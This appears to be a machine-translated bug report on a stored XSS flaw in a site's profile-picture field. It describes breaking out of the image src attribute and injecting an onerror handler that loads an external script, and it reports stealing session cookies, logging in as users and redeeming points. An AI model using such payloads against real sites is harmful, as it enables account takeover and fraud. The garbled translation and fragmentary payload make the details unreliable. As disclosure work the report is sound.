100e one hundred storage type XSS

100e one hundred is prone to storage-type XSS. The test can successfully steal user account cookies and log on to it. If you steal points, you can exchange points for free. A little restriction, it is easy to break through, detailed description: 1. After the image address of the src attribute in the profile picture, insert "" = "" found "is not filtered, but the img label is gone, so the test can smoothly insert an onerror, but the onoad does not work. After inserting the code "onerror =" js Code 2 "after the image address, I analyzed the source code and found that the onload is not available because it is in front. The onerror is in the back and will be killed by the onerror we inserted. Therefore, when "" = "" is inserted at the beginning, the label is not filtered, but killed by the onerror of the original attribute. The following code is inserted: "onerror => <script src = xxx> <script> the original onerror is successfully killed, and <script> is inserted to call an external address. 3 because the src length is limited, it is not enough to directly use "onerror = js Code, however, the length of "onerror => <script src = xxx> <script> is sufficient. The following is the cookie that has been successfully stolen. you can log on to the system successfully.